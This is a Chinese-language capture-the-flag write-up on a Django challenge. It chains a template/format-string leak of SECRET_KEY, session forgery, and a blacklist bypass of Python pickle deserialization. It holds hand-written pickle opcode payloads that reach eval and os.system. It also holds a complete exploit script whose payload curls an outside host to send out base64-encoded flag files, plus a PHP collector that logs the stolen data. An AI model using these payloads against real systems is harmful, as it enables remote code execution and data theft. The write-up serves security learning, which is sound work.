object_sha1 = hmac.new(key,msg=密码的字节信息,digestmod=hashlib.sha1)
session_auth_hash = object_sha1.hexdigest()

obj = {
    "_auth_user_id": 'x',
    "_auth_user_backend": '(存储session引擎)',
    "_auth_user_hash" : session_auth_hash
      }
key = settings.SECRET_KEY
salt = 设置里存储session的引擎
serializer = session的序列化引擎
compress = False

这样便可以做到session伪造了,虽然我们无法直接伪造出admin,但这里我们账户是可控的,再通过pickle反序列化能够实现命令执行。

读取SECRET_KEY

目前攻击手法已经很明显了,就是通过SECRET_KEY伪造session,再根据pickle序列化引擎,达到代码执行的目的,可以问题在于能否直接读取到SECRET_KEY,答案是否定的,因为在导入模板后端的项目中,并没有导入setting进去,这也就以为着,我们不能直接读取到SECRET_KEY,但是SECRET_KEY的字符是用于加密数据的,我们可以看到导入模板的变量中有auth还有request,猜测这些导入的变量可能有使用到SECRET_KEY的地方,注意django模板具有一定的限制,我们无法读取有\_开头的变量,因此需要找到没有\_开头的变量。

SECRET_KEY = '123456'
DEBUG = True #修改这两个配置均是方便调试

SECRET_KEY改成这种容易辨识的字符,然后在本地使用动态调试,在进行模板渲染的地方下断点,看看模板后端究竟导入了哪些模板变量

然后再多次展开传入后端的变量折叠发现了SECRET_KEY所在地,具体位置有很多比如request.user.user_permissions.source_field.opts.app_config.module.settingsrequest.user.groups.source_field.opts.app_config.password_validation.settings,最后发现当你找到这里的module之后,会发现里面很多内容都带了settings随意选一个,就可以找到里面的SECRET_KEY

然后落实到ssti注入上面,由于这里视图函数处理会先判断数据库中有没有该用户,如果没有则会自动注册一个该用户,然后下一次登陆的时候就会自动登陆进去了,如下图注册一个恶意账户:

然后登陆进去就顺利拿到secret_key了:

命令执行

在学习命令执行之前,先了解了python独特的序列化包pickle究竟是一个什么东西。

  1. 每种语言都有自己独特的序列化机制,python中的pickle,类似于php中的serialize()和unserialize(),同时pickle能够序列化很多类型的数据

可以看见这里几乎序列化了所有的数据类型,我们可以发现在python3,中是否继承object实际上不影响序列化生成的内容,因为python3中默认继承object父类,因此这里不存在是否继承object类而产生不同序列化内容的问题。

  1. 介绍一个特殊的魔术方法,先看看官方的说明:

    当返回字符串时,python会为我们在全局变量中,寻找这个类创建的本地实例,然后返回该实例:

    class hello():
        def __init__(self):
            self.test1=1
        def __reduce__(self):
            return "test1"
        #如果这里不是return的test1,则会报错
        
    test1=hello()
    p_test=pickle.dumps(test1)
    print(p_test)
    print(pickle.loads(p_test))

    返回内容为:

    PS:这里反序列化的对象是没有改变的

当返回元组时,元组的第一个元素为相应对象,第二个元素开始就是传入该对象的参数了

class hello1():
    def __init__(self):
        self.test2=1
    def __reduce__(self):
        return (os.system,("ls",))

test2=hello1()
p_test=pickle.dumps(test2)
print(p_test)
print(pickle.loads(p_test))

返回内容为:

这意味着我们反序列化出来的对象和原对象没有半毛钱关系了,对象变了,并且我们传入的ls命令被顺利执行,利用这点便可以执行系统命令了

接着我们再看本题的序列化代码(serializer.py):

PS:有关多出来的RestrictedUnpickler类的说明

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )
'''
这里将本模块定义成了全局的PickleSerializer,也就是说
实际上本题django的序列化引擎使用的是这个py文件的内容
'''

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
'''
这个类是反序列化的一个过程类
官方手册推荐使用这个方法来限制反序列化出来的类
这里便是定义好黑名单了,但我们都知道黑名单可不是一个很好的过滤手段
'''
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
'''
重写原类的find_class方法
确保了没有来自builtins模块且在黑名单里的子类
'''

class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)
#这就是刚才提到的pickle的序列化方法
    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}
#这是反序列化方法

###绕过黑名单

在Python中builtins实际上是一个不需要导入的模块,很多类似于open,eval等内置函数,都存在与builtins模块中,侧面就是说明除了黑名单的那几个函数,其余的内置函数是可以直接导入的,这里可以选择导入getattr,这是个非常好用的函数,官方手册说明如下:

这个函数可以从上下文中获得已经存在的类,而serialize.py引入了两个一看就很危险的类:

因此我们可以通过getattr获得bultins模块,在从bultins模块中获取我们想要的类,而由于代码中是没有限制导入bultins模块的,因此可以顺利绕过黑名单,虽然绕过了黑名单,但是问题也产生了。

###有关\_\_reduce\_\_的问题

在官方手册中已经提到了,__reduce__实际上只能返回一个元组,而这里得到bultins模块和从bultins模块中获得函数,实际上是两步,按照__reduce__的执行条件来看,我们可是需要返回两个元组,而这显然是不可能的,那么如何解决这个问题?手撸pickle代码!

###有关pickle语言

我们随意保存一个之前实验过的恶意反序列化代码,看看pickle这个堆栈语言是怎么写的,作为一门堆栈语言pickle没有变量一说,只有两个结构

  • stack 也就是栈
  • memo 一个储存信息的列表

    下面是生成pickle文件的一段demo

import pickle
import os

class hello():
    def __reduce__(self):
        return (os.system,('ls',))

test2=hello()
p_test=pickle.dumps(test2,0)
""""
这里protocol需要等于0,也就是dumps的第二个参数
否则会多出很多的不可见字符,不利于人工书写
"""
print(p_test)
print(pickle.loads(p_test))
with open("test","wb") as file:
    file.write(p_test)
    file.close()
'''
test内容为:
cposix
system
p0
(Vls
p1
tp2
Rp3
.
'''

将二进制内容写入一个test文件之后,我们再使用pickletools进行读取

\

根据pickle源码对照表如下:

接下来我们一行行的解读:

  0: c    GLOBAL     'posix syste'
    #c 引入模块或对象,模块名和对象名使用换行符分割
    #这一步在python中相当于find_class方法
   14: p    PUT        0
    #p 将栈顶元素存到memo中,后面的整数相当于在memo列表中的索引
   17: (    MARK
    #( 将一个特殊的标志压入栈中,这是元组的起始位置
   18: V        UNICODE    'ls'
    #V 将一个unicode字符串压入栈中,这里手工写字符串不需要加引号
    #S 与V差不多,只是将一个字符串压入栈中区别在于手工的时候S的字符串加引号
   22: p        PUT        1
   25: t        TUPLE      (MARK at 17)
    #t 从栈顶开始找到'('并将中间所有内容弹出栈,组成一个元组
   26: p    PUT        2
   29: R    REDUCE
    #R 从栈顶弹出一个可调用的对象和元组,元组作为函数的执行的参数列表。
    #并将返回值压入栈中
   30: p    PUT        3
   33: .    STOP
    #. 表示程序到这里就结束了
highest protocol among opcodes = 0
    #这里是使用的pickle协议代号
    #g 获得从memo列表中获得一个指定索引的对象,压入栈中,这个后面会用到

这里的memo存储元素并没有什么用,因此我们将之前test里面的内容简化一下变成:

检查一下能否正常运行

ok看来是没有问题的,接下来我们来手撸pickle代码。

  • 获得builtins模块

    string=b"""cbuiltins 
    getattr 
    (cbuiltins 
    dict 
    Vget
    tR(cbuiltins 
    #等同于python代码的builtins.getattr(builtins.dict,get)获得get方法并将这个get方法对象压入栈中
    globals
    (tRVbuiltins   #等同于builtins.globals.get('builtings')
    tRp1 #弹出上面的整个部分存到memo的里,编号为1
    """

    逐行分析:

    • cbuiltins-> 将builtins设置为可执行对象
    • getattr-> 获得builtins中的getattr方法
    • cbuiltins-> 压入元组开始标志,并设置builtins为可执行对象
    • dict -> 获得builtins中的dict对象
    • Vget -> 压入字符串get
    • tR(cbuiltins ->

      弹出builtins.dict,'get'组成的新元组并压入栈中

      并执行builtins.getattr(builtins.dict,get)得到get方法压入栈中

      之后压入一个新的元组标志,最后将builtins设置为可执行对象

    • globals -> 获得builtins.globals
    • (tRVbuiltins ->

      压入元组标志,并生成一个空元组()

      然后返回builtins.globals()的一个可执行对象

      最后压入builtins字符串

    • tRp1 ->

      执行get('builtins')

      获得builtins对象并存在memo列表里

      builtins在列表中索引为1

    效果图:

    这里已经成功获得builtins模块了

  • 获得eval函数
string=b"""cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1
------分割线
cbuiltings
getattr #等同于 builtins.getattr()
(g1
Veval
tR(V__import__("os").system("ls")
#等同于builtins.getattr(builtins,"eval")并将这个可调用的eval对象压入栈中
tR."""
#等同于eval("__import__('os).system('ls')")并结束程序的运行

逐行分析:

  • cbuiltings -> 获得可执行的builtings对象
  • getattr -> 获得builtings.getattr方法
  • (g1 -> 压入一个元组标志到栈中,并取出memo[1]builtins模块对象压入栈中
  • Veval -> 压入'eval'字符串到栈中
  • tR -> 弹出以上内容为一个新元组,

    相当于执行builtings.gettattr(builtings,"eval")

    并获得这个可执行的eval对象

  • (V__import__("os").system("ls") ->

    压入一个新元组标志,

    再压入一个字符串'__import__("os").system("ls")'到栈中

  • tR. ->

    弹出以上内容为一个新元组

    相当于执行了eval("__import__('os).system('ls')")并返回一个可执行对象

    最后结束程序的运行

效果图:

PS:复制时请检查后面存在的空格,除了换行符外不能有空格

最后生成的pickle:

exp编写

exp_django.py:

from django.core import signing
import base64
import zlib


def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b'=')


def pickle_session(SECRET_KEY):
    global string
    is_compressed = False
    compress = False
    if compress:
        compressed = zlib.compress(string)
        if len(compressed) < (len(string) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(string).decode()
    if is_compressed:
        base64d = '.' + base64d
    secret = SECRET_KEY
    session = signing.TimestampSigner(key=secret, salt='django.contrib.sessions.backends.signed_cookies').sign(
        base64d)
    print(session)

string=b"""cbuiltins
getattr
(cbuiltins
dict
Vget
tR(cbuiltins
globals
(tRVbuiltins
tRp1
cbuiltins
getattr
(g1
Veval
tR(V__import__("os").system("curl http://snert.ebounce.cn:8056/ok/1.php?flag=$(cat /*flag* | base64)")
tR.
"""
#flag是利用通配符读取的,因为只知道有flag字段,并不知道还有什么其他字段
pickle_session("zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm")

1.php代码如下:

<?php
$data = fopen("flag.txt","w");

foreach ($_GET as $key=>$value) 
{
  fwrite($data, $key.":".$value);
  fwrite($data, "\n");
}

接着我们传恶意session上去:

虽然传上去之后看着500了,但是另一个容器环境,却确实收到了flag

最后解码得到flag
PS:
这里改正一下错误,读取到secret_key,实际上应该被称作格式化字符漏洞,因为这里将我们格式化出来的字符,拿去当作模板渲染了,因而才会出现读取到变量的问题,如果用户控制的是已有模板的某个需要渲染的变量,也很难出现ssti漏洞

  • 因为django模板引擎只会渲染一次模板(一般都是读取到.html的模板文件的时候),之后再根据特征{}的内容导入值,也就是相当于字符串的拼接,这个时候即使需要拼接{{ xx }}的内容,也会只会当作一个单纯的字符串,而不是变量来处理,详情可以阅读一下django源码
  • 其次django作为一个神级框架,是不会允许模板进行代码执行的,如果开发过django项目,在可以代码执行的地方(本题就是格式化字符串的地方)进行代码执行,就会报错(debug=True)或者抛出500错误(debug=False).

参考文章:

code-breaking picklecode中对signed_cookies引擎分析

客户端 session 导致的安全问题

django官方文档-session部分

Code-Breaking中的两个Python沙箱

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论